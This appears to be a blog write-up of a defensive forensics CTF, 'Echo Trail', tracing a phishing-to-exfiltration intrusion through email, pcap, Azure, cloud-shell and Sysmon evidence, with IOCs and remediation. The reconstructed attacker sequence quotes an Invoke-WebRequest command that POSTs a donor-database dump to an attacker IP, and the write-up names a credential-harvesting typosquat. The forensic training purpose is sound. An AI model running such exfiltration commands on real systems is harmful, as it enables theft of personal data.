🎯 Challenge Overview

Challenge: Echo Trail (OffSec CTF)
Objective: Map the adversary's infiltration, chart their movements, validate forensic evidence, and produce actionable remediation and incident-response guidance.
Artifacts Provided:

  • Network capture (network_capture.pcapng)

  • Email artifacts (*.eml)

  • Azure sign-in logs (InteractiveSignIns_2025-08-14_2025-08-15.xlsx)

  • Windows event logs (*.evtx / sysmon.evtx)

  • Mail server logs (hmailserver_2025-08-15.log)

  • Database dump (db_dump.sql)

  • Cloud shell history (cloudshell_session.log)

  • Browser cache (optional)

🔍 Initial Reconnaissance

This section documents the first-pass triage, how artifacts were prioritized, and why certain items were investigated first.

Triage rationale: Phishing is a common initial access vector. Email artifacts and network captures are therefore high priority. Correlating email timestamps to network traffic and authentication logs reduces false positives and helps build a reliable timeline.

Step 1: Analyzing the Phishing Campaign

Objective: Identify phishing indicators, attachments, and any embedded links or artifacts that could lead to credential capture.

Typical commands used:

# Enumerate email files
ls -la *.eml

# Examine email headers and attachments
for f in *.eml; do echo "==== $f ===="; ripmime -i "$f" -d /tmp/eml_extracted/"$f"; munpack -f "$f"; done

# Inspect suspicious attachments
file /tmp/eml_extracted/*.png
exiftool /tmp/eml_extracted/ngo_update.png
strings /tmp/eml_extracted/ngo_update.png | head -n 40

Observed evidence:

  • Email subject: "Urgent: Updated Access Required"

  • Sender: [email protected] (spoofed display name)

  • Attachment: ngo_update.png — image file with suspicious embedded HTML/redirect in body or an image that includes a URL in its metadata.

Analyst reasoning: An image attachment alone is not always malicious — but when an email urges account updates and includes a link or encoded payload, treat it as high risk. The presence of a URL in metadata or the email body pointing to a domain that resembles a trusted provider is a strong indicator of typosquatting. We then pivot to network capture to find actual HTTP requests.

Step 2: Network Traffic Analysis

Objective: Identify connections to external hosts that correlate with email receipt or user activity. Extract HTTP POSTs where credentials may be submitted.

Key commands and rationale:

# Get capture summary to ensure file integrity and timestamps
tshark -r network_capture.pcapng -q

# List HTTP hostnames and URIs to find suspicious domains
tshark -r network_capture.pcapng -Y "http" -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri | sort | uniq -c | sort -nr | head

# Focus on known typo-squatted domain pattern "mcrosoft" (missing 'i')
tshark -r network_capture.pcapng -Y 'http.host contains "mcrosoft"' -T fields -e frame.time -e ip.src -e ip.dst -e http.request.method -e http.request.uri -e http.file_data

Findings:

  • Domain observed: login.mcrosoft.com (typosquat — missing 'i')

  • HTTP GET to /login.html followed by HTTP POST to /login.php with payloads (likely credential submission).

  • POST payloads appear hex-encoded — a common obfuscation technique to avoid simple signature detection.

Technical reasoning: Typosquat domains commonly host credential harvesters. HTTP (not HTTPS) suggests attacker did not obtain a valid certificate, or intentionally used HTTP to intercept traffic (or because victim env allowed insecure redirects). Extract the POST data and decode.

Step 3: Credential Extraction (Decoding & Validation)

Objective: Extract and decode credential material from captured HTTP POSTs and validate against authentication logs.

Commands used:

# Extract http.file_data for the specific POST and save to file
tshark -r network_capture.pcapng -Y 'http.request.method == "POST" and http.host contains "mcrosoft"' -T fields -e frame.time -e ip.src -e ip.dst -e http.request.uri -e http.file_data > post_payloads.txt

# If payload is hex, decode and print readable strings
cat post_payloads.txt | cut -f5 -d$'\t' | tr -d '\r' | sed 's/0x//g' > hex_payload.txt
xxd -r -p hex_payload.txt | strings -n 4 | tee decoded_post.txt

Decoded output (excerpt):

loginfmt=Jopa373424&ps=...&password=Jopa373424...

Validation steps (recommended):

  1. Cross-check the extracted username against Azure sign-in logs (user principal names / usernames) to confirm identity.

  2. Check mail client or browser cache for evidence of the victim clicking the link (User-Agent, referer headers in pcap).

Conclusion:

  • Username: Jopa373424

  • Password: Jopa373424

  • The repetition suggests weak credentials and possibly self-chosen password equal to username. This reduces the attacker's effort to successfully authenticate.

🕵️ Attack Timeline Reconstruction

Goal: Build a consolidated timeline from email delivery → network activity → authentication attempts → successful login → post-compromise activity.

Step 4: Azure Sign-in Log Analysis

We parse the exported Azure interactive sign-in logs to identify events tied to the suspected IP and account.

Commands used:

import pandas as pd
df = pd.read_excel('InteractiveSignIns_2025-08-14_2025-08-15.xlsx')
df.columns = [c.strip() for c in df.columns]
attacker_ip = '203.0.113.10'
attacker_events = df[df['IP address'] == attacker_ip].sort_values('Date (UTC)')
print(attacker_events[['Date (UTC)', 'Status', 'User', 'Failure reason', 'Client IP']])

Extracted timeline (UTC):

Timestamp (UTC)

Event

Notes

2025-08-15T08:02:59Z

Failed authentication attempt

Possibly incorrect password or blocked MFA

2025-08-15T08:03:35Z

MFA interruption

Push approval not accepted

2025-08-15T08:05:09Z

Multiple failed attempts

Repeated authentication failures

2025-08-15T08:08:31Z

MFA interruption

Repeated push challenges

2025-08-15T08:15:49Z

First successful login

Attacker achieved access

2025-08-15T08:15:50Z–08:16:31Z

Additional successful logins

Rapid activity post-authentication

Analyst inference: The pattern of repeated failures then success is consistent with credential stuffing or an attacker retrying with known credentials and waiting for MFA approval (or the user succumbing to push fatigue). Note the short time between successful logins — likely automation or scripted session establishment.

Step 5: Mail Server Log Analysis

Goal: Identify any SMTP artifacts that indicate external relay usage, phishing infrastructure, or attacker identity.

Commands:

grep -i "ehlo" hmailserver_2025-08-15.log | awk '{print $0}' | head
grep -i "203.0.113.10" hmailserver_2025-08-15.log -n

Key finding:

  • EHLO: attacker01 associated with an SMTP transaction observed around the phishing email times.

Notes: EHLO strings can be faked; however, correlating this with IP addresses and message-IDs from the .eml headers can strengthen attribution. If attacker01 maps to the remote IP seen in pcap, that links messaging to network infrastructure.

🚀 Lateral Movement Analysis

Once authentication succeeded, the attacker attempted to move laterally and access valuable data.

Step 6: Azure Cloud Shell Session

Objective: Extract commands and sequences from cloud shell history to reconstruct attacker intent and actions.

Commands:

# Get all az commands from cloud shell log
grep -i "az " cloudshell_session.log | sed -n '1,200p'

# Search specifically for mysqldump and exfiltration commands
grep -i "mysqldump" cloudshell_session.log -n
grep -i "Invoke-WebRequest" cloudshell_session.log -n

Reconstructed sequence (annotated):

  1. az ssh arc --subscription 65f29041-a905-45dd-aebd-6fbf877ed89e --resource-group ngo1 --name db --local-user enygaard
    Purpose: Establish SSH session to an Azure Arc-enabled VM (database host).

  2. ./mysqldump.exe -u root -pJopa373424 ngo_data DonorRecords > C:\Temp\db_dump.sql
    Purpose: Dump the DonorRecords table (direct data exfiltration).

  3. Invoke-WebRequest -Uri "http://203.0.113.10:4443" -Method POST -InFile "C:\Temp\db_dump.sql"
    Purpose: Exfiltrate the dump to attacker-controlled server over HTTP (uncommon port 4443).

Forensic note: Use of mysqldump.exe indicates the attacker ran native database utilities — common "living off the land" tactic to avoid detection by antivirus signatures. HTTP exfiltration is noisy but effective if outbound egress rules are lax.

Step 7: Database Analysis

Objective: Verify what data was exfiltrated and determine sensitivity and scope.

Commands:

# Preview the dump structure
head -n 200 db_dump.sql

# Find tables and row counts (approx)
grep -i "CREATE TABLE" db_dump.sql
grep -i "INSERT INTO" db_dump.sql | wc -l
sed -n '1,200p' db_dump.sql | sed -n '1,80p'

Findings:

  • Database: ngo_data

  • Table: donorrecords

  • Data fields include: full names, email addresses, phone numbers, donation amounts, and country fields.

Impact assessment: Exfiltration of donor PII and donation history can lead to privacy violations, targeted phishing, financial fraud, reputational damage, and regulatory reporting obligations depending on jurisdiction.

🔍 Process Analysis

This stage ties host-level evidence to network and cloud events.

Step 8: Windows Event Log & Sysmon Correlation

Objective: Identify process creation, parent-child relationships, and timestamps to corroborate the cloud shell activity.

Commands:

# Convert .evtx to text (using wevutil on windows or using evtx_exporter)
strings sysmon.evtx | grep -i "mysqldump" -n

# If Sysmon is available, search for Event ID 1 (Process Create)
# Example PowerShell (on an investigative host):
Get-WinEvent -Path sysmon.evtx | Where-Object { $_.Id -eq 1 } | Select-Object TimeCreated, Message | Out-File sysmon_proc_creation.txt

Evidence correlated:

  • Process creation for C:\Program Files\MariaDB 12.0\bin\mysqldump.exe at a timestamp matching cloud shell activity and Azure successful login time.

Analyst note: Confirm parent process and command-line arguments in Sysmon (ProcessCreate) events — this proves whether mysqldump.exe was invoked interactively or by a service/script. Also check for lateral movement artifacts such as new scheduled tasks, added local accounts, or odd persistence.

📋 Final Answers Summary (Expanded with evidence pointers)

Question

Answer

Evidence Source & Notes

1. Phishing email attachment

ngo_update.png

.eml header + ripmime extraction; metadata contains redirect URL.

2. Phishing page URL

http://login.mcrosoft.com/login.html

Network capture (tshark HTTP GET entries).

3. PHP credential harvester

login.php

Network capture (HTTP POST to login.php).

4. Stolen Azure password

Jopa373424

Hex-decoded POST payload from pcap. Cross-checked with Azure login success for same user.

5. Attacker EHLO hostname

attacker01

hmailserver_2025-08-15.log EHLO entries. Correlate with message ID and pcap IP.

6. MFA failure message

Authentication failed during strong authentication request.

Azure sign-in logs: failure reason field.

7. First successful login

08:15:49 (UTC)

Azure sign-in logs chronological filter; attacker IP 203.0.113.10.

8. Azure CLI subcommand

az ssh arc

Cloud shell history; used to pivot to DB host.

9. Extracted table

donorrecords

db_dump.sql contains INSERT INTO donorrecords statements.

10. mysqldump process image

C:\Program Files\MariaDB 12.0\bin\mysqldump.exe

Sysmon/Windows event logs showing process creation with matching command-line.

🛡️ Attack Chain Summary (with MITRE ATT&CK mapping)

  1. Initial Access – Phishing (T1566.001)

    • Phishing email with ngo_update.png -> typosquat domain login.mcrosoft.com.

  2. Credential Access – Credential Harvesting (T1589, T1110)

    • Credentials harvested via login.php and submitted via HTTP POST.

  3. Defense Evasion – Living off the Land (T1554)

    • Use of mysqldump.exe and az CLI to avoid detection.

  4. Lateral Movement – Remote Services (T1021.004)

    • az ssh arc to pivot into internal DB host.

  5. Exfiltration – Exfiltration Over Web Service (T1041)

    • Invoke-WebRequest POST to 203.0.113.10:4443.

🔧 Forensic Tools & Commands Used (Concise)

  • tshark – pcap analysis, HTTP extraction

  • xxd / strings – hex decode and readable extraction

  • ripmime / munpack / exiftool – email artifact parsing and metadata inspection

  • pandas / openpyxl – Azure log parsing and timeline construction

  • grep / sed / awk – textual triage and quick filtering

  • Sysmon logs / wevutil / Get-WinEvent – process creation and parent-child correlation

🎯 Key Indicators of Compromise (IOCs)

  • Domains: login.mcrosoft.com

  • Attacker IP: 203.0.113.10

  • EHLO Hostname: attacker01

  • Exfiltration endpoint: 203.0.113.10:4443

  • Malicious filename: ngo_update.png

  • Stolen credentials: Jopa373424

  • Binary used: C:\Program Files\MariaDB 12.0\bin\mysqldump.exe

  • Database table: donorrecords

(Use these IOCs to populate detection rules in firewall, proxy, SIEM, and EDR systems.)

🚨 Defensive Recommendations (Expanded Playbook)

Immediate Containment Steps

  1. Disable or block the compromised account jopa373424 and force password resets for privileged accounts.

  2. Block outbound connections to 203.0.113.10 and the typosquatting domain at DNS and web proxy levels.

  3. Revoke active Azure sessions and rotate credentials used by cloud automation.

  4. Snapshot affected hosts for forensic preservation.

Eradication & Remediation

  1. Remove attacker SSH keys and review Azure role assignments for unexpected changes.

  2. Harden database access: remove root remote access, enforce least privilege, and rotate DB credentials.

  3. Patch and update MariaDB and host OS; ensure monitoring agents are present and healthy.

Recovery & Post-Incident Activities

  1. Restore data from a known-good backup prior to 2025-08-15T08:00:00Z.

  2. Monitor for reattempts by adding IDS/IPS rules for similar POST payload patterns and uncommon HTTP ports like 4443.

  3. Conduct user training focused on MFA push fatigue awareness and phishing exercises.

Long-term Improvements

  • Enforce hardware-backed MFA (FIDO2) and disable simple push approvals.

  • Enable Conditional Access Policies in Azure (e.g., block legacy auth, require compliant devices).

  • Implement Data Loss Prevention (DLP) for sensitive databases and critical exports.

  • Enable logging/alerts for use of admin tools like mysqldump and az in unusual contexts.

🧾 Suggested Report Appendices (for submission)

  • Appendix A: Full decoded POST payload (redacted)

  • Appendix B: Azure sign-in logs CSV slice (attacker IP only)

  • Appendix C: Extracted db_dump.sql summary and row counts

  • Appendix D: Timeline CSV (combined events from email, pcap, Azure, cloud shell, sysmon)

  • Appendix E: Detection rules (Snort/Suricata, YARA snippets, SIEM queries)

📌 Closing Remarks & Analyst Notes

This expanded analysis merges low-level artifact decoding with high-level incident reasoning. The strongest takeaways are:

  • The initial compromise relied on a classic typosquatting credential harvester combined with weak password hygiene.

  • MFA was present but susceptible to push fatigue and timing-based bypass.

  • Post-compromise actions were performed using native tools and simple HTTP exfiltration, indicating an opportunistic attacker with scripting skills and knowledge of cloud management tooling.

Next recommended steps: perform a full audit of admin accounts, run forensic analysis on all host snapshots, and build detection content for the IOCs listed.

End of writeup.

Keep Reading

© 2026 Andrés.
Report abusePrivacy policyTerms of use
beehiivPowered by beehiiv